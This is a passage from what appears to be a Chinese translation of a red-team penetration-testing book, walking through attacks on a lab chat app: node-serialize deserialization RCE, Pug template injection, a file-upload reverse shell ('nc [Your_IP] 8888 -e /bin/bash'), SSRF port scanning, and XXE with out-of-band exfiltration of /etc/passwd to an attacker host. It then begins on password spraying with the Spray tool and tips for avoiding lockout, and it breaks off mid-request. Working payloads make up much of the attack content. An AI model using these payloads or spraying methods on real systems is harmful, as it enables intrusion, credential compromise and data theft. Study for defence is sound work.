或特定于该语言的序列化方法。 NodeJS 中的反序列化 很多时候,发现复杂的漏洞需要深入了解应用程序。在我们的场景中,Chat NodeJS 应用程序正在使用易受攻击的 serialize.js 版本 。可以发现这个 Node 库易受攻击,因为 “不受信任的数据被传递到 unserialize() 函数中,攻击者通过传递一个存在 Immediately Invoked Function Expression(IIFE)的 JavaScript 对象可以引起任意代码执行。”( https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941 ) 让我们逐步了解攻击的细节,以便更好地了解正在发生的事情。第一,我们查看了 serialize.js 文件并快速搜索 eval( https://github.com/luin/serialize/search?utf8=%E2%9C%93&q=eval&type= )。通常,允许用户输入进入 JavaScript eval 语句是坏的消息,因为 eval()执行原始 JavaScript。如果攻击者能够将 JavaScript 注入此语句,他们将能够在服务器上执行远程执行代码。 其次,我们需要创建一个序列化的 payload,它将被反序列化,并通过我们的 JavaScript payload require('child_process').exec('ls'). {“thp”:“_$$ND_FUNC$$_function (){require(‘child_process’).exec(‘DO SYSTEM COMMANDS HERE’, function(error, stdout, stderr) { console.log(stdout) });}()”} 上面的 JSON 对象将通过以下的请求(){require('child_process').exec('ls')}进入 unserialize 函数中的 eval 语句,为我们提供远程代码执行。要注意的最后一部分是结尾括号添加了“()”,因为没有它我们的函数就不会被调用。第一个发现此漏洞的研究员 Ajin Abraham 发现,使用立即调用的函数表达式或 IIFE( https://en.wikipedia.org/wiki/Immediately-invoked_function_expression )将允许在创建后执行该函数。有关此漏洞的更多详细信息,请访问:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941 。 在我们的聊天应用程序示例中,我们将查看 cookie 值,该值正在使用此易受攻击的库进行反序列化: 转到 http://chat:3000 代理 burp 中的流量并查看 cookie 识别一个 cookie 名称“donotdecodeme” 将该 Cookie 复制到 Burp Suite Decoder 和 Base64 中进行解码 如前所述,每种语言都有其独特的地方,NodeJS 也不例外。在 Node/Express/Pug 中,你无法直接写入 Web 目录,但是可以像在 PHP 中一样访问它。必须有一个指向文件夹的指定路径,该文件夹既可写又可访问到公共网络。 创建有效 payload 在开始之前,请记住实验中的所有这些 payload 都可以从这里复制粘贴:http://bit.ly/2qBDrFo 获取原始 payload 并修改你的 shell 执行“'DO SYSTEM COMMANDS HERE” {"thp":"_$$ND_FUNC$$_function(){require('child_process').exec('DO SYSTEM COMMANDS HERE', function(error, stdout, stderr) {console.log(stdout)});}"} 例: {"thp":"_$$ND_FUNC$$_function(){require('child_process').exec('DO SYSTEM COMMANDS HERE', function(error, stdout, stderr) { console.log(stdout) });}()"} 由于原始 Cookie 已编码,我们必须通过 Burp Decoder/Encoder 对我们的 payload 进行 base64编码 *示例 payload:eyJ0aHAiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7cmVxd 注销,打开Burp拦截,并转发/(home)请求 将 cookie 修改为新创建的 Base64 payload 转发流量,因为公用文件夹是/的路由,你应该能够打开浏览器并转到 http://chat:3000/hacked.txt 你现在可以进行远程执行代码!随意对此系统进行后期利用。首先尝试访问 /etc/passwd。 在 node-serialize 模块的源代码中,我们可以利用函数表达式,这对于使用用户输入执行此操作的任何 JavaScript/NodeJS 应用程序来说都是一个严重的问题。这种糟糕的做法让我们攻陷了这个应用程序。 参考文献: https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/ https://github.com/luin/serialize https://snyk.io/test/npm/node-serialize?severity=high&severity=medium&severity=low https://blog.websecurify.com/2017/02/hacking-node-serialize.html 模板引擎攻击——模板注入 模板引擎由于其模块化和简洁的代码与标准 HTML 相比而被更频繁地使用。模板注入是指用户输入直接传递到渲染模板,允许修改底层模板。这可以在 wiki,WSYWIG 或电子邮件模板中恶意使用。这种情况很少发生在无意中,所以它经常被误解为只是 XSS。模板注入通常允许攻击者访问底层操作系统以获取远程代码执行。 在下一个示例中,你将通过 Pug 对我们的 NodeJS 应用程序执行模板注入攻击。我们无意中将自己暴露给模板注入,使用带有用户输入的元重定向,使用模板文字${}直接在 Pug 中呈现。重要的是要注意模板文字允许使用换行符,这是我们必须破坏段落标记,因为 Pug 是空格和换行符,类似于 Python 。 在 Pug 中,第一个字符或单词表示表示标签或功能的 Pug 关键字。你也可以使用缩进指定多行字符串,如下所示: p. 这是段落缩进。 这仍然是段落标记的一部分。 以下是 HTML 和 Pug 模板的示例: 上面的示例文本显示了它在 HTML 中的外观以及相应的 Pug Markup 语言的外观。通过模板和字符串插值,我们可以创建快速,可重用且高效的模板 模板注入示例 聊天应用程序容易受到模板注入攻击。在下面的应用程序中,我们将看看我们是否可以与 Pug 模板系统进行交互。这通常可以通过检查我们提供的输入参数是否可以处理基本操作来完成。James Kettle 写了一篇关于攻击模板和与底层模板系统交互的大论文( http://ubm.io/2ECTYSi )。 与 Pug 交互: 转到 http://chat:3000 并使用任何有效帐户登录 转到 http://chat:3000/directmessage 并输入用户和评论以及“发送”,接下来,返回 Direct Message 页面并尝试将 XSS payload 输入到用户参数<script>alert(1)</script> http://chat:3000/ti?user=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&comment 这表明应用程序容易受到 XSS 的攻击,但我们可以与模板系统进行交互吗? 在 Burp 历史记录中,查看服务器请 request/response 的响应 /ti?user=,并将请求发送到 Burp Repeater(ctrl+r) 测试基本操作 我们可以通过将它传递给算术字符串来测试模板注入的 XSS 易受攻击参数。如果我们的输入被读取,它将识别它易受模板注入的影响。这是因为模板(如编码语言)可以轻松支持评估算术运算符。 测试基本操作符: 在 Burp Repeater 中,测试 /ti 上的每个参数以进行模板注入。我们可以通过传递9乘9这样的数学运算来做到这一点。 我们可以看到它没有用,我们没有得到81,请记住,我们的用户输入包含在段落标记内,所以我们可以假设我们的 Pug 模板代码看起来像这样: p Message has been sent to !{user} 利用 Pug 的特点: 正如我们之前所说,Pug 是空格分隔的(类似于 Python),换行符开始一个新的模板输入,这意味着如果我们可以突破 Pug 中的当前行,我们可以执行新的模板代码。在这种情况下,我们将打破段落标记 <p> ,如上所示,并执行新的恶意模板代码。为此,我们将不得不使用一些 URL 编码来利用此漏洞( http://bit.ly/2qxeDiy )。 让我们逐步完成每个要求以执行模板注入: 首先,我们需要触发一个新行并突破当前模板。这可以使用以下字符完成: %0a new line 其次,我们可以通过使用“=”符号来利用 Pug 中的算术函数 %3d%编码“=”符号 最后,我们可以输入我们的数学方程式 9*9数学方程式 因此,最终 payload 将如下所示: [newline]=9*9 URL 编码: GET /ti?user=%0a%3d9*9&comment=&link= GET /ti?user=%0a%3d9*9在响应正文中给出了81。你已在用户参数中发现了模板注入!让我们通过利用 JavaScript 来获取远程代码。 正如你在响应中所看到的,我们在段落标记之外有“81”而不是用户名!这意味着我们能够注入模板。 我们现在知道我们可以进行模板注入,因为我们可以执行简单的计算,但是我们需要看看是否可以执行 shell。要获得 shell 执行,我们必须找到正确的函数来在 Node/JavaScript 中执行。 首先,我们将识别自身全局对象的根节点,然后继续确定我们可以访问哪些模块和功能。我们希望最终使用 Require 函数导入 child_process.exec 以运行操作系统命令。在 Pug 中,“=”字符允许我们输出 JavaScript 结果。我们将从访问全局根开始: [new line]=global 使用 Burp 的解码器工具将上述表达式编码为 URL 编码,可以得到:%0a%3d%20%67%6c%6f%62%61%6c 使用上面的 URL 编码字符串作为用户值并重新发送。 如果在提交前后请求一切顺利,我们将看到 [object global],这意味着我们可以访问全局对象。 解析全局对象: 让我们通过在全局范围内使用 Pug 迭代器‘each’来查看我们可以访问的对象和属性。记住换行符(%0a)和空格(%20): each val,index in global p=index URL 编码: %0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%2 在上面的例子中,我们使用‘each’迭代器,它可以访问一个值,并且如果我们指定了数组或对象,也可以选择访问索引。我们试图找到我们在全局对象中可以访问的对象,方法或模块。我们的最终目标是找到类似“require”方法的东西,以允许我们导入 child_process.exec,它允许我们运行系统命令。从现在开始,我们只是使用反复试验来识别最终会给我们 require 方法的方法或对象。 查找代码执行功能: 从上一个请求中,我们看到了全局中的所有对象以及一个名为“process”的对象。接下来,我们需要识别我们在 global.process 中可以访问的有趣对象: each val,index in global.process p=index URL 编码: %0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%7 我们从所有可用的方法中选择“process”,因为我们知道它最终会导致‘require’。你可以通过选择不同的迭代方法来尝试尝试和错误过程: each val,index in global.process.mainModule p = index URL 编码: %0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%2 远程执行代码: 发送此最终 payload ,我们应该在 global.process.mainModule 中看到“require”函数。我们现在可以将其设置为使用.exec 导入‘child_process’以获取 RCE: var x = global.process.mainModule.require x('child_process').exec('cat / etc / passwd >>/opt/web/chatSupportSystems/public/accounts.txt') URL 编码: %0a%2d%20%76%61%72%20%78%20%3d%20%67%6c%6f%6 在上面的例子中,我们像在 JavaScript 中一样定义变量“x”,但行开头的破折号表示无缓冲输出(隐藏)。我们正在使用全局对象和我们最终需要的模块‘require’,这允许我们使用‘child_process’.exec 来运行系统命令。 我们将 /etc/passwd 的内容输出到 Web 公共根目录,这是我们唯一具有写入权限的目录(由应用程序创建者设计),允许用户查看内容。我们也可以使用系统命令执行反向shell或其他任何允许的操作。 我们可以看到 http://chat:3000/accounts.txt 将包含的内容 来自 Web 服务器的 /etc/passwd。 使用此命令在系统上执行完整的 RCE 并返回 shell。 现在,我们可以对这一系列操作实现自动化吗?当然可以。有一个类似 SQLmap 的名为 Tplmap 的工具,它可以尝试模板注入的所有不同组合: cd /opt/tplmap ./tplmap.py -u "http://chat:3000/ti?user=*&comment=asdfasdf&link=" 参考: http://blog.portswigger.net/2015/08/server-side-template-injection.html https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/ JavaScript 和远程代码执行 远程代码执行是我们在每次入侵和 Web 应用程序渗透测试中必须寻找的。虽然 RCE 几乎可能在任何地方找到,但它们最常见于允许上传的地方,例如:上传 web shell,一个像 Imagetragick 这样的漏洞利用,使用 Office 文件进行 XXE 攻击,基于遍历的目录上传以替换关键文件等。 传统来说,我们可能会尝试找到我们可以使用的上传区域和 shell。可以在此处找到不同类型的 webshell payload 的绝佳列表:https://github.com/tennc/webshell 。请注意,我绝不会审查任何这些 shell 是否存在后门,所以使用它们需要你自担风险。我遇到过很多有后门的 shell。 使用上传攻击对聊天应用程序进行攻击 在我们的实验室中,我们将在 Node 应用程序上执行上传 RCE。在我们的示例中,有一个文件上传功能,允许任何文件上传。不幸的是,使用 Node,我们不能只通过 Web 浏览器调用文件来执行文件,就像在 PHP 中一样。因此,在这种情况下,我们将使用动态路由端点尝试呈现 Pug 文件的内容。错误在于端点将读取文件的内容,假设它是 Pug 文件,因为默认目录存在于 Views 目录中。此端点上还存在路径遍历和本地文件读取漏洞。 在上传过程中,文件处理程序模块会将文件重命名为随机字符串,没有扩展名。在页面的上传响应内容中,存在上载文件的服务器路径位置。使用这些信息,我们可以使用/drouting 执行模板注入以实现远程代码执行。 既然我们知道底层应用程序是 Node(JavaScript),我们可以上传什么样的 payload 来才能被 Pug 执行?回到我们之前使用的简单示例: 首先,为 require 模块分配一个变量 -var x = global.process.mainModule.require 使用子进程模块使我们能够通过运行任何系统命令来访问操作系统功能: -x('child_process').exec('nc [Your_IP] 8888 -e /bin/bash') RCE 上传攻击: 转到 http://chat:3000 并使用任何有效帐户登录 使用以下信息上传文本文件。在 Pug 中,“-”字符表示执行 JavaScript。 -var x = global.process.mainModule.require -x('child_process')。exec('nc [Your_IP] 8888 -e / bin / bash') 通过上传文件查看 Burp 中的请求和响应。你将注意到在响应 POST 请求中上传的文件的哈希值以及引用的 drouting。 在这个模板代码中,我们将 require 函数分配给 child_process.exec,它允许我们在操作系统级别上运行命令。此代码将使 Web 服务器连接到在端口8888上 [Your_IP] 上运行的监听器,并允许我们在 Web 服务器上运行 shell。 在攻击者计算机上,启动 shell 的 netcat 侦听器以连接回 nc -l -p 8888 我们通过在 /drouting 上运行端点来激活代码。在浏览器中,转到上传的哈希文件。 drouting 端点采用指定的 Pug 模板并呈现它。对我们来说幸运的是,我们上传的 Pug 模板包含我们的反向 Shell 。 在浏览器中,使用你从文件上载响应中恢复的文件访问 drouting 端点。我们使用目录遍历“../”来返回上一个目录,以便能够进入包含我们的恶意文件的 uploads 文件夹: /drouting?filename=../uploads/[你的文件哈希] 回到你的终端监听 8888 端口并在你的 shell 里操作吧! 服务器端请求伪造(SSRF) 服务器端请求伪造(SSRF)是我认为通常被误解的漏洞之一,并且在术语方面,经常与跨站点请求伪造(CSRF)混淆。虽然这个漏洞已经存在了一段时间,但实际上还没有得到足够的讨论和重视,尤其它可以造成的相当严重的后果。让我们来看看它是什么以及为什么会造成严重的后果。 服务器端请求伪造通常被利用以访问本地系统,进入内部网络或允许某种移动。理解 SSRF 的最简单方法是通过一个例子讲述。假设你有一个公共 Web 应用程序,允许用户通过 URL 从 Internet 上下载配置文件图像。你登录该站点,转到你的个人资料,然后单击 Imgur(公共图像托管服务)的更新个人资料按钮。你提供图像的 URL( 例如:https://i.imgur.com/FdtLoFI.jpg)并点击提交。接下来发生的事情是服务器会创建一个全新的请求,转到 Imgur 站点,抓取图像(它可能会执行一些图像操作来调整图像-图像跟踪任何人的大小?),将其保存到服务器,并发送成功消息回到用户。如你所见,我们提供了一个 URL,服务器获取该 URL 并抓取图像,并将其上传到其数据库。 我们提供了最初的 Web 应用程序的 URL,以从外部资源中获取我们的个人资料图片。但是,如果我们将图像 URL 指向 http://127.0.0.1:80/favicon.ico 会发生什么?这将告诉服务器不是请求像 Imgur 这样的东西,而且从本地主机服务器(它本身)获取 favicon.ico 图片文件。如果我们能够获得返回包的值是 200 或使我们的个人资料图片成为本地的 favicon 图片,我们就知道我们可能发现了 SSRF。 由于它在80端口上工作,那么如果我们尝试连接到 http://127.0.0.1:8080 会发生什么情况(8080 是一个除 localhost 之外无法访问的端口)?这就是它变得有趣的地方。如果我们确实得到完整的 HTTP 请求/响应,并且我们可以在本地对8080端口发出 GET 请求,那么如果我们发现了一个易受攻击的 Jenkins 或 Apache Tomcat 服务会发生什么?即使这个端口没有被公开监听,我们可能也可以入侵这个环境。更好的是,我们或许可以开始请求内网IP:http://192.168.10.2-254 ,而不是127.0.0.1。回想一下那些返回了内网 IP 泄露的网络扫描结果,你对此不屑一顾。但是这正是它们重新发挥作用的地方,我们可以通过它们来使用内部网络服务。 SSRF 漏洞允许你可以执行以下操作: 在回环接口上访问服务 扫描内部网络和与这些服务的潜在交互方式(GET/POST/HEAD) 使用 FILE:// 读取服务器上的本地文件 使用 AWS Rest 接口( http://bit.ly/2ELv5zZ ) 横向移动到内部环境中 在我们的下图中,我们发现 Web 应用程序上存在易受攻击的 SSRF,允许我们利用此漏洞: 让我们来看一个现实中的例子: 在你的聊天支持系统( http://chat:3000/ )Web 应用程序中,首先确保创建一个帐户并登录。 登录后,通过链接转到 Direct Message(DM)页面或直接通过 http://chat:3000/directmessage 。 在“链接”文本框中,放入 http://cyberspacekittens.com 等网站,然后单击预览链接。 你现在应该看到 http://cyberspacekittens.com 页面的呈现,但 URI 栏仍应指向我们的聊天应用程序。 这表明该站点容易受到 SSRF 的攻击。我们也可以尝试聊天:3000/ssrf?user=&comment=&link=http://127.0.0.1:3000 并指向 localhost。请注意,页面呈现了,我们现在正通过有漏洞的服务器上的 localhost 访问该站点。 我们知道应用程序本身正在监听3000端口。我们可以从外部对该系统进行 nmap 扫描,并发现当前没有其他 Web 端口正在监听,但是哪些服务仅仅对于 localhost 可用?要搞清楚这个问题,我们需要通过127.0.0.1的所有端口强制执行。我们可以通过使用 Burp Suite 和 Intruder 来实现这一目标。 在 Burp Suite 中,转到 Proxy/HTTP History 选项卡,找到我们上一个 SSRF 的请求包。 在 Request Body 上单击右键并发送给 Intruder。 Intruder 选项卡将亮起,转到 Intruder 选项卡,然后单击 clear。单击并突出显示端口“3000”,然后单击 add。你的 GET 请求应如下所示: GET/ssrf?user=&comment=&link=http://127.0.0.1 :§3000§HTTP/ 1.1 单击 payload 选项卡,然后选择将 Payload 类型选择为 “Numbers”。我们将从28000端口转到28100。通常,你将测试所有端口,但让我们在实验的时候简化它吧。 From:28000 To:28100 Step:1 点击 Start Attack 你将看到端口28017的响应长度远大于所有其他请求。如果我们打开浏览器并转到:http://chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:28017 ,我们应该能够利用我们的 SSRF 并获得对 MongoDB Web 界面的访问权限。 你应该能够访问所有链接,但你必须记住你需要使用 SSRF。要访问 serverStatus( http://chat:3000/serverStatus?text=1 ),你必须使用 SSRF 攻击并转到此处: http://chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:28017/serverStatus?text=1 服务器端请求伪造可能非常危险。虽然不是新的漏洞,但目前发现的 SSRF 漏洞数量越来越多。由于 SSRF 允许在基础设施内进行移动,这通常会导致某些重要的发现。 其他资源: 本地的很多编码: http://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf Bug Bounty - AirBNB 示例:http://bit.ly/2ELvJxp XML 外部实体攻击(XXE) XML 代表可扩展标记语言,旨在发送/存储易于阅读的数据。 XML eXternal Entities(XXE)是对应用程序中 XML 解析器的攻击。XML 解析常见于允许文件上传,解析 Office 文档,JSON 数据甚至 Flash 类型游戏的应用程序中。当允许 XML 解析时,不正确的验证可以授予攻击者读取文件的权限、导致拒绝服务攻击,甚至远程代码执行。从一个比较高的维度来看,应用程序具有以下需求:1) 解析用户提供的 XML 数据,2) 实体的系统标识符部分必须在文档类型声明(DTD)内,3) XML处理器必须验证/处理 DTD 并解析外部实体。 普通 XML 文件恶意 XML 文件 <?xml version="1.0" encoding="ISO-8859-1"?> <?xml version="1.0" encoding="utf-8"?> <Prod> <!DOCTYPE test [ <Type>Book</type> <!ENTITY xxe SYSTEM <name>THP</name> "file:///etc/passwd"> <id>100</id> ]> </Prod> <xxx>&xxe;</xxx> 上面,我们有一个普通的 XML 文件和一个专门用来从系统的 /etc/passwd 文件中读取文件的恶意 XML。我们将看看是否可以在真实的 XML 请求中注入恶意 XML 请求。 XXE 实验: 由于自定义配置请求,有一个不同的 VMWare 虚拟机用于 XXE 攻击。这可以在这里找到: http://thehackerplaybook.com/get.php?type=XXE-vm 下载后,在 VMWare 中打开虚拟机并启动它。在登录屏幕上,你无需登录,但你应该看到系统的 IP 地址。 转到浏览器: 通过 Burp Suite 代理所有流量 转到 URL:http://[IP of your Virtual Machine] 拦截流量并点击 Hack the XML 如果在加载页面后查看页面的 HTML 源代码,你可以看到有一个通过 POST 请求提交的隐藏字段。XML 内容如下所示: <?xml version ="1.0"?> <!DOCTYPE thp [ <!ELEMENT thp ANY> <!ENTITY book "Universe"> ]> <thp> Hack The &book;</thp> 在这个例子中,我们指定它是 XML 1.0版本,DOCTYPE,指定根元素是 thp,!ELEMENT 指定任何类型,并且 !ENTITY 将 book 变量设置为“Universe”字符串。最后,在我们的 XML 输出中,我们希望从解析 XML 文件中打印出我们的实体。 这通常是你在发送 XML 数据的应用程序中看到的内容。由于我们控制具有 XML 请求的 POST 数据,因此我们可以尝试注入我们自己的恶意实体。默认情况下,大多数 XML 解析库都支持 SYSTEM 关键字,该关键字允许从 URI 读取数据(包括使用 file:// 协议 )。因此,我们可以创建自己的实体来制作在 /etc/passwd 上读取的文件。 原始 XML 文件恶意 XML 文件 <?xml version="1.0" ?> <?xml version="1.0"?> <!DOCTYPE thp [ <!DOCTYPE thp [ <!ELEMENT thp ANY> <!ELEMENT thp ANY> <!ENTITY book "Universe"> <!ENTITY book SYSTEM "file:///etc/passwd"> ]> ]> <thp>Hack The & book;</thp> <thp>Hack The &book;</thp> XXE 实验——阅读文件: 拦截 [你的 VM 的 IP]/xxe.php 的流量包并点击 Hack of XML 将截获的流量包发送到 Repeater 将“data”的 POST 参数修改为以下内容: ]>Hack The %26book%3B 请注意,%26 等同于&,%3B等同于 ;。我们需要对&符号和分号字符进行百分比编码。 发送流量包,我们现在应该能够读取 /etc/passwd 高级 XXE——XXE-OOB 在之前的攻击中,我们能够在<thp>标签中获得返回的响应。那么如果我们看不到响应或遇到字符或文件限制怎么办?我们怎样使用带外数据协议(OOB)来发送我们的数据?我们可以提供远程文档类型定义(DTD)文件来执行 OOB-XXE,而不是在请求 payload 中定义我们的攻击。DTD 是结构良好的 XML 文件,用于定义 XML 文档的结构和法律元素及属性。为了简单起见,我们的 DTD 将包含我们所有的攻击或 exfil payload,这将帮助我们解决许多字符的限制。在我们的实验示例中,我们将使有 XXE 漏洞的服务器请求一个托管在远程服务器上的 DTD。 新的 XXE 攻击将分四个阶段进行: 使用篡改后的 XXE XML 攻击 对于存在漏洞的 XML 解析器,它会从攻击者服务器抓取一个 DTD 文件 该 DTD 文件包含读取 /etc/passwd 文件的代码 该 DTD文件也包含用于隐秘传输 /etc/passwd 内容的代码(可能是经过编码的) 设置我们的攻击者机器和 XXE-OOB payload: 我们将指定一个外部 DTD 文件,而不是原始文件读取 <!ENTITY % dtd SYSTEM "http://[Your_IP]/payload.dtd"> %dtd; 新的“数据”POST payload 将如下所示(记得更改 [Your_IP]): <?xml version="1.0"?><!DOCTYPE thp [<!ELEMENT thp ANY ><!ENTITY % dtd SYSTEM "http://[Your_IP]/payload.dtd"> %dtd;]><thp><error>%26send%3B</error></thp> 我们需要通过创建名为 payload.dtd 的文件在攻击者服务器上托管此 payload gedit /var/www/html/payload.dtd <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % all "<!ENTITY send SYSTEM 'http://[Your_IP]:8888/collect=%file;'>"> %all; 你刚刚创建的 DTD 文件指示易受攻击的服务器读取 /etc/ passwd 然后尝试使用我们的敏感数据向我们的攻击者机器发出 Web 请求。为了确保我们收到响应,我们需要启动 Web 服务器来托管 DTD 文件并设置 NetCat 监听器 nc -l -p 8888 你将遇到“检测到实体引用循环”类型的错误,具体的报错内容大概是:“Detected an entity reference loop in <b>/var/www/html/xxe.php on line <b>20"。在进行 XXE 攻击时,通常会遇到解析器错误。很多时候,XXE 解析器仅仅允许某些字符,因此读取带有特殊字符的文件会报错。我们可以做些什么来解决这个问题?在使用 PHP 的情况下,我们可以使用 PHP 输入和输出流( http://php.net/manual/en/wrappers.php.php )来读取本地文件,并使用 php://filter/read=convert.base64-encode 对它们进行 base64 编码。让我们重启我们的 NetCat 监听器并更改我们的 payload.dtd 文件以使用此功能: <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % all "<!ENTITY send SYSTEM 'http://[Your_IP]:8888/collect=%file;'>"> %all; 一旦我们重放我们新修改的请求,我们现在就可以看到我们的受害者服务器首先获取并运行了 payload.dtd 文件,然后监听8888端口的 NetCat 处理程序发出二次 Web 请求。当然,GET 请求将采用 base64编码并且我们也将必须对请求进行解码。 更多 XXE payload: https://gist.github.com/staaldraad/01415b990939494879b4 https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/XXE-Fuzzing.txt 本章总结 虽然这只是你可能遇到的所有不同网络攻击的一小部分,但我希望这些案例能打开你的视野,关于更现代的框架(Node.js)是如何引入旧的和新的攻击。许多常见的应用程序漏洞扫描器往往会错过很多这些更复杂的漏洞,因为它们是基于特定的语言或框架的。我想提出的要点是,为了进行充分的攻击活动,你需要真正理解语言和框架。 第4章 带球——开始攻击网络 在进行风险评估项目的第二天,你使用 nmap 扫描了目标的全部网段,还启动了漏洞扫描器,但运气不太好,你没有探测出任何 Web 应用程序的初始入口点。这让你感到有些失败,需要反思一下,重新回顾一下之前收集到的所有信息。因为你知道,一旦可以进入目标网络,就可以使用无数的技巧来获得更多的凭证、在域中漫游、利用 AD(活动目录)的特性,最后找到我们要找的东西。当然,这不是一件容易的事。因为你要绕过众多防火墙,还要欺骗管理员,最后还要擦除自己的痕迹。 在上一本书中,本部分着重于使用漏洞扫描器来发现漏洞并利用它们。这是通过使用诸如 Metasploit、打印机漏洞、心脏滴血、Shellshock、SQL 注入等常见漏洞的利用工具来实现的。最近一段时间,爆出了很多严重的远程代码执行漏洞,比如 永恒之蓝(MS017-10)、多个版本的 Jenkins 漏洞、Apache Struts 2、CMS 应用的代码执行漏洞等等。因为本书是以红队的视角来阐述的,因此我们不会过多地关注如何使用这些工具来攻击利用特定的漏洞。相反,我们将关注如何利用公司现有的应用程序,就地取材来发现漏洞,然后攻破公司网络。 在本章中,将集中讨论红队的战术,如何利用公司基础设施、获取身份凭证、探索内部网络以及在主机和网络之间进行漫游。我们将在不运行任何一个漏洞扫描器的前提下完成这项工作。 从外网寻找侵入对方系统的登陆凭证 作为一个红队成员,找到最初的攻击点可能很麻烦,需要耗费大量的资源。在上本书中,我们尝试过伪造受害者的身份验证页面、购买非常相似的域名来对目标实施钓鱼,以及编写自定义的恶意软件等不同的方法。 有时候,我告诉我的红队队员要保持简单的思想。很多时候,那些令人称赞的高级手段,反而不如一些简单低级的方法管用,最简单的方法往往是最有效的。 最基本的技术之一就是暴力破解密码。但是,作为红队的一员,我们必须考虑如何巧妙地做到这一点。随着公司的发展,公司使用了更多的应用程序和技术工具。对于攻击者来说,这无疑为他们拓宽了进攻的大门。当公司开始暴露在互联网上时,我们看到公司需要对电子邮件(如 Office 365或 OWA)、通信工具(如 Lync、XMPP、WebEx)、协作工具(如 JIRA、Slack、Hipchat、Huddle)和其他外部服务(如 Jenkins、CMS 站点、支持站点)进行身份验证。这些就是我们的目标突破口。 我们试图攻击这些服务器和服务的原因是,我们需要寻找能对受害者的 LDAP 或 AD 这些基础设施进行身份验证的工具。这可以通过 ADFS 方式、单点登录(SSO)方式或者直接使用 AD 域认证等不同的方式来完成。我们需要找到一些可以利用的公共凭证,以便继续进行下一步的攻击。在信息收集阶段,我们发现并识别了大量的电子邮箱地址和用户名帐号,我们将对这些获取到的信息进行一种叫“密码喷洒”(Password Spraying)的攻击。我们将针对所有不同的应用程序,尝试猜测基本密码,正如我们在现实世界的 APT 活动中看到的那样( US-CERT 文章:http://bit.ly/2qyB9rb )。 译者注:“密码喷洒攻击”(Password Spray Attack)并不等同于“密码爆破攻击”(Brute Force Attack)。事实上,这两种攻击是相反的。 在密码爆破攻击中,黑客选择一个易受攻击的 ID 并一个接一个地输入密码,希望有一些密码可以让他们进入。基本上,密码爆破是用多个密码尝试破解同一个 ID。而密码喷洒攻击,是用一个密码来尝试多个用户 ID,以便至少有一个用户 ID 被泄露。对于密码喷洒攻击,黑客使用社交工程或其他网络钓鱼方法收集多个用户 ID。通常情况下,至少有一个用户使用简单的密码,如12345678甚至是 p@ssw0rd。 在密码喷洒攻击中,黑客会为他或她收集的所有用户 ID 应用精心构造的密码。因此,密码喷洒攻击可以定义为将相同的密码应用于组织中的多个用户帐户,目的是安全的对其中一个帐户进行未授权访问。 暴力破解的问题在于,在使用不同密码进行一定次数的尝试后,系统可能会被锁定。为了避免这种情况,产生了收集用户 ID 并将可能的密码应用于它们的想法。使用密码喷洒攻击时,黑客也会采取一些预防措施。例如,如果他们尝试将 password1应用于所有用户帐户,则在完成第一轮后,他们不会立即开始将 password2应用于这些帐户。他们将在黑客攻击中留出至少30分钟的时间。 参考资料:Password Spray Attack Definition and Defending yourself 那么,为什么要针对不同的外部服务进行身份验证呢?这是因为: 有些身份验证程序不会记录从外部服务尝试验证的次数。 虽然我们通常看到电子邮件或 VPN 系统要求双因素验证(2FA),但面向外部的即时通讯系统可能不需要。 密码重用的可能性非常高。 有的时候,当使用 AD 账户多次重复登录失败时,外部系统并不会将此账户锁定。 有很多工具可以实现密码喷洒攻击,但是,我们只关注其中的几个。第一个是来自 Spiderlabs 的名为 Spray 的工具。尽管 Spray 使用起来有点复杂,但我非常喜欢它所支持的一些服务。例如,它支持 SMB、OWA 和 Lync(Microsoft Chat)。 要使用 Spray,你需要指定以下几个参数: spray.sh -owa <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <Domain> 正如你将在下面的示例中看到的那样,我们使用 Spray 对 cyberspacekittens 上的一个 OWA 邮件服务器(该服务器现在已经下线了)进行密码破解,当它使用密码 Spring2018与用户名 peter 尝试进行配对时,成功的登进了系统。 我经常遇到的一个问题是,应该使用哪个密码进行尝试?因为在锁定帐号之前,只能不停的多次尝试密码。事实上这个问题没有正确答案,使用哪个密码非常依赖于这家公司的密码设置规定。我们过去可以使用一些简单密码进行尝试,比如“Password123”,因为总有一些人会因为图方便而使用简单密码。但随着人们安全意识的提高,现在现在越来越少人使用这种密码了,因而成功率也就变低了。现在的话,我们一般结合使用以下规则的一条到多条来构建我们的尝试密码: 月份和年份的数字组合。 当地的球队和球员的数字编号组合。 查看一些以前泄露出来的数据,找一些有没有目标公司的用户资料泄露,因为相同公司的用户可能会使用类似的密码。 公司名称+年份/编号/特殊的字符 (如!,$,#,@) 编好了密码之后,我们就可以24小时不间断缓慢地运行我们的账号破解程序,慢是为了避免触发任何帐号锁定。请记住,我们仅仅匹配成功一个账号就可以进入大门了! 此图是使用 Curl 对 OWA 进行身份认证的快速脚本 配置 Spray 非常简单,而且其配置文件可以很容易地给其他类似程序参考使用。你需要做的是捕获登录密码时的 POST 请求(可以在 Burp Suite 中完成),复制所有请求数据,并将其保存到文件中。对于任何将要被破解的字段,你需要提供字符串“sprayuser”和“spraypassword”。 例如,在我们的例子中,post-request.txt 文件如下所示: POST /owa/auth.owa HTTP/1.1 Host: mail.cyberspacekittens.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://mail.cyberspacekittens.com/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2fmail.cyberspacekittens.com%2fowa%2f Cookie: 